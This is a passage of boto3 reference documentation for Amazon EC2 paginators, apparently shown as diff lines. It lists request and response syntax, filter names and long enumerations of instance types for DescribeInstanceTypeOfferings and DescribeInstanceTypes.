related to the systems that support an instance, such as hardware failures and network connectivity problems. + + - **Details** _(list) --_ + + The system instance health or application instance health. + + - _(dict) --_ + + Describes the instance status. + + - **ImpairedSince** _(datetime) --_ + + The time when a status check failed. For an instance that was launched and impaired, this is the time when the instance was launched. + + - **Name** _(string) --_ + + The type of instance status. + + - **Status** _(string) --_ + + The status. + + - **Status** _(string) --_ + + The status. + + +_class_ EC2.Paginator.DescribeInstanceTypeOfferings + +paginator = client.get_paginator('describe_instance_type_offerings') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_instance_type_offerings()](#EC2.Client.describe_instance_type_offerings "EC2.Client.describe_instance_type_offerings"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceTypeOfferings) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + LocationType='region'|'availability-zone'|'availability-zone-id', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **LocationType** (_string_) -- The location type. +- **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + - location - This depends on the location type. For example, if the location type is region (default), the location is the Region code (for example, us-east-2 .) + - instance-type - The instance type. For example, c5.2xlarge . + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceTypeOfferings': [ + { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'LocationType': 'region'|'availability-zone'|'availability-zone-id', + 'Location': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **InstanceTypeOfferings** _(list) --_ + + The instance types offered. + + - _(dict) --_ + + The instance types offered. + + - **InstanceType** _(string) --_ + + The instance type. For more information, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + - **LocationType** _(string) --_ + + The location type. + + - **Location** _(string) --_ + + The identifier for the location. This depends on the location type. For example, if the location type is region , the location is the Region code (for example, us-east-2 .) + + +_class_ EC2.Paginator.DescribeInstanceTypes + +paginator = client.get_paginator('describe_instance_types') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_instance_types()](#EC2.Client.describe_instance_types "EC2.Client.describe_instance_types"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceTypes) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + InstanceTypes=[ + 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **InstanceTypes** (_list_) -- + + The instance types. For more information, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + - auto-recovery-supported - Indicates whether auto recovery is supported (true | false ). + - bare-metal - Indicates whether it is a bare metal instance type (true | false ). + - burstable-performance-supported - Indicates whether it is a burstable performance instance type (true | false ). + - current-generation - Indicates whether this instance type is the latest generation instance type of an instance family (true | false ). + - ebs-info.ebs-optimized-info.baseline-bandwidth-in-mbps - The baseline bandwidth performance for an EBS-optimized instance type, in Mbps. + - ebs-info.ebs-optimized-info.baseline-iops - The baseline input/output storage operations per second for an EBS-optimized instance type. + - ebs-info.ebs-optimized-info.baseline-throughput-in-mbps - The baseline throughput performance for an EBS-optimized instance type, in MB/s. + - ebs-info.ebs-optimized-info.maximum-bandwidth-in-mbps - The maximum bandwidth performance for an EBS-optimized instance type, in Mbps. + - ebs-info.ebs-optimized-info.maximum-iops - The maximum input/output storage operations per second for an EBS-optimized instance type. + - ebs-info.ebs-optimized-info.maximum-throughput-in-mbps - The maximum throughput performance for an EBS-optimized instance type, in MB/s. + - ebs-info.ebs-optimized-support - Indicates whether the instance type is EBS-optimized (supported | unsupported | default ). + - ebs-info.encryption-support - Indicates whether EBS encryption is supported (supported | unsupported ). + - ebs-info.nvme-support - Indicates whether non-volatile memory express (NVMe) is supported for EBS volumes (required | supported | unsupported ). + - free-tier-eligible - Indicates whether the instance type is eligible to use in the free tier (true | false ). + - hibernation-supported - Indicates whether On-Demand hibernation is supported (true | false ). + - hypervisor - The hypervisor (nitro | xen ). + - instance-storage-info.disk.count - The number of local disks. + - instance-storage-info.disk.size-in-gb - The storage size of each instance storage disk, in GB. + - instance-storage-info.disk.type - The storage technology for the local instance storage disks (hdd | ssd ). + - instance-storage-info.nvme-support - Indicates whether non-volatile memory express (NVMe) is supported for instance store (required | supported ) | unsupported ). + - instance-storage-info.total-size-in-gb - The total amount of storage available from all local instance storage, in GB. + - instance-storage-supported - Indicates whether the instance type has local instance storage (true | false ). + - instance-type - The instance type (for example c5.2xlarge or c5*). + - memory-info.size-in-mib - The memory size. + - network-info.efa-supported - Indicates whether the instance type supports Elastic Fabric Adapter (EFA) (true | false ). + - network-info.ena-support - Indicates whether Elastic Network Adapter (ENA) is supported or required (required | supported | unsupported ). + - network-info.ipv4-addresses-per-interface - The maximum number of private IPv4 addresses per network interface. + - network-info.ipv6-addresses-per-interface - The maximum number of private IPv6 addresses per network interface. + - network-info.ipv6-supported - Indicates whether the instance type supports IPv6 (true | false ). + - network-info.maximum-network-interfaces - The maximum number of network interfaces per instance. + - network-info.network-performance - The network performance (for example, "25 Gigabit"). + - processor-info.supported-architecture - The CPU architecture (arm64 | i386 | x86_64 ). + - processor-info.sustained-clock-speed-in-ghz - The CPU clock speed, in GHz. + - supported-root-device-type - The root device type (ebs | instance-store ). + - supported-usage-class - The usage class (on-demand | spot ). + - supported-virtualization-type - The virtualization type (hvm | paravirtual ). + - vcpu-info.default-cores - The default number of cores for the instance type. + - vcpu-info.default-threads-per-core - The default number of threads per core for the instance type. + - vcpu-info.default-vcpus - The default number of vCPUs for the instance type. + - vcpu-info.valid-cores - The number of cores that can be configured for the instance type. + - vcpu-info.valid-threads-per-core - The number of threads per core that can be configured for the instance type. For example, "1" or "1,2". + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceTypes': [ + { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6